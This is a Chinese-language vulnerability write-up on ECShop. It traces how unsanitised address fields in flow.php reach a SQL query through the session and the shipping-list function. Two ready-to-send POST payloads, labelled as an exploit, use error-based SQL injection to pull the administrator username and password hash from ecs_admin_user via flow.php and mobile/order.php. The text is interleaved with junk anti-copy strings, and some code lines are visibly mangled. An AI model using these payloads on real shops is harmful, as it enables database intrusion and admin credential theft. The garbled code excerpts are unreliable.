ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

1 c6 f  g# R& A    漏洞关键文件：
8 d2 ?" m8 ?$ f* Z2 p
    /includes/lib_order.php
) f% t1 W2 A3 I
8 i" P$ }! z- q1 o    关键函数：



+ T: a; W' T0 O2 {/ o8 c( I01     function available_shipping_list($region_id_list)
2 B# \) U) G. i0 ]5 \
" g( Q1 _/ H* s- `) O02 {

0 W! z' B$ u' B9 \03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

) R$ V+ R, p1 t0 @04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
4 y% ?  M& e0 j
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
1 e* ^3 L3 l0 @5 t
- F8 |) t  |; y- Z  c  y07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
: e1 C) n& X6 n. N; }/ }& L
7 e, h# A( Y& P* G$ I) Q/ `1 w08             'WHERE r.region_id ' . db_create_in($region_id_list) .
% a) n: n; F3 P; a4 q. m
6 {2 r$ h+ P) @5 a2 \! f09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
* J5 t' m" T1 o9 s! B* @
4 h2 X& r1 p+ _4 e# i8 z! c6 Q2 R. o10   
* g/ K# L, F! Z2 {
11     return $GLOBALS['db']->getAll($sql);
& P5 v0 s% F1 G) Y! W% l0 C& }
12 }

$ V1 l- V9 _5 _! Q( K# r显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
1 I! ]1 R* w3 N5 T 第531行：   

1 $shipping_list     = available_shipping_list($region);
- x/ [! l+ g. D" ^8 j$ R9 x: O
: P/ ?4 t9 Y4 n



再对传入变量进行追踪：

7 I" R! N, i0 U+ E第530行：   
2 w' B  B1 N& D4 ~3 B
9 _+ I! t# O3 K( R) c1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
" G" @; u8 x4 g2 B& W  r
/ X- p  F5 T2 V; S8 `0 Q% f, k! L



( h" G, p7 Z% K1 m$ {) {" V; J' C第473行：        
' }% W: p& }9 X7 N1 K0 I
& k. B! K# ~; |. t9 N: a% n1 $consignee = get_consignee($_SESSION['user_id']);

到了一个关键函数：
  _! T2 o8 @/ p
4 p( W# E0 o8 r+ U/includes/lib_order.php
8 q3 H/ b& B0 a, v/ w6 m% C
0 \* X" v& R: y  y2 O5 a+ \# r



6 o8 @# {6 y8 s, q01 function get_consignee($user_id)

02 {
# |) R& _% i. k- @" P
, P; ^8 Y4 z( {1 ^7 e8 F  H03     if (isset($_SESSION['flow_consignee']))
& R% [' \5 F  e
' p% L- B! y$ V% U04     {

05         /* 如果存在session，则直接返回session中的收货人信息 */

9 I( ]4 D4 h+ v/ \06   
, i! S/ j' k0 j2 N6 X' y
07         return $_SESSION['flow_consignee'];
9 z3 G! v6 w" L7 T
08     }
& p! Z+ c* Z9 Y& h9 ]# O
1 _  z- E9 H. {! P. |09     else
2 B: u/ e3 \; r: t, B: t. w
10     {

) u3 I) z  R2 b9 ]( @9 {* h11         /* 如果不存在，则取得用户的默认收货人信息 */

12         $arr = array();
" l( @. z4 T& |7 Z  P- ^& V2 R
" F4 a; i. z5 t13   
2 ^) n" C9 V- t6 F
" ?. [$ I7 ^2 p14         if ($user_id > 0)

) T! a" }# q, @. E& [15         {

% I& z; `* W6 I( H4 c' E4 D; Y16             /* 取默认地址 */
2 n+ W9 Y* C0 e5 L
17             $sql = "SELECT ua.*".
/ C- h6 Z$ C: d' ?# N4 u* M
$ M( B. Q% p6 {1 \18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

/ Z: h9 q" a& x) Y1 Z  u19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
# R  ~' a* K7 C  k9 L9 ^
+ g  ~7 y0 I+ K' L# L$ o20   

21             $arr = $GLOBALS['db']->getRow($sql);
- R4 f' l" K3 C7 @3 R" u
5 l( c6 \4 [/ A# k  r) z' H22         }
) ?2 I. q7 w4 ^  J' P
, I2 R* ?3 D: X0 z, r7 o23   

% n$ R) B; s: U' o; m24         return $arr;

% X6 ?: w+ A* f; ~1 _3 M25     }
2 T' H, p, v; g. q* G1 c/ P3 M
2 G3 ^6 s" |5 ]26 }

显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
, d* P6 n9 @/ d& I8 [" b
; z+ t% q, E( Y) O: U6 x# e
  ?) N! s9 S' @6 R2 u( K
& b0 v0 d& f* m9 f- w" r) z关键点:

第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
" E6 x' v- }$ ^# X: Q4 _
这里对传入参数反转义存入$_SESSION中。
' ?0 F! t  ^2 T- A) D5 A5 i


' k: H, G: w* B! L8 u然后看下：
8 U, j6 x* W7 x: y, _( s0 Y2 L5 E3 k

$ e: e; n7 ~: x, z! u5 i
   

% Z* Z) n3 S/ Z7 {01 $consignee = array(

02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

, Y/ `5 s+ H% m% t03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
8 [* m( X, _5 U7 Z1 v8 N: \0 l* `
, E3 t3 P/ ^( ]6 P* M05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
& x0 x$ s. v/ w6 u+ p, ]( Q* b
- K1 d% c: [; K3 ^06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

$ F0 f+ O) Q! S, I2 O5 Z5 B! L07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
" B8 N! H* i$ p. [5 O
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
1 [2 v8 D; Z5 m1 ^  _1 k
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

1 _; r, w* _# r7 @1 {; B2 V- i13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

; ^! I; h, f: ?0 s$ Q  y  u14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );

  F: u8 s3 z# e/ \% Q2 N: c$ {好了注入就这样出现了。

: t6 w- [' e" q1 }4 u3 L3 x2 _5 o==================

注入测试：

. g. `% @5 D6 r  J1 V2 K环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

$ L% y& L) h: T/ O测试程序：ECShop_V2.7.3_UTF8_release1106
( }2 o& V9 i6 ?4 V* {6 |) _

0 E$ u$ u& F- ]- }8 H/ P4 q& h
1.首先需要点击一个商品加入购物车

& v7 c$ A3 C8 ]/ v" v2.注册一个会员帐号
- A8 N; R2 T1 q' A* k
3.post提交数据

6 u$ H2 i- s. i
3 M+ G$ s- |6 ~2 z4 H4 Q, U3 A
1 http://127.0.0.1/ecshop/flow.php

2   

: Y2 ]5 ~2 s1 M3 G( E' c3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：
, {8 R# @  A% w' y8 s
我们搜寻关键函数function available_shipping_list()
( ~' O) h$ \1 w8 k% g& n8 r
  J& \5 E7 h' w1 }7 I( u: c在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

( b* ^  q/ D' ~7 I6 g, g利用exp:

1.点击一个商品，点击购买商标
- X) i; m) S; E
2.登录会员帐号

& f& N+ U) Y/ M3.post提交：

; V) ^8 i3 }4 h9 ?) Rhttp://127.0.0.1/ecshop/mobile/order.php
8 G. b' R2 j; K9 i, Q


$ V( z; z2 O! l! Ucountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
. [6 x& c" U' K* j5 {/ N, J# ?5 V
* y2 D$ G; X( S& x0 y9 G; }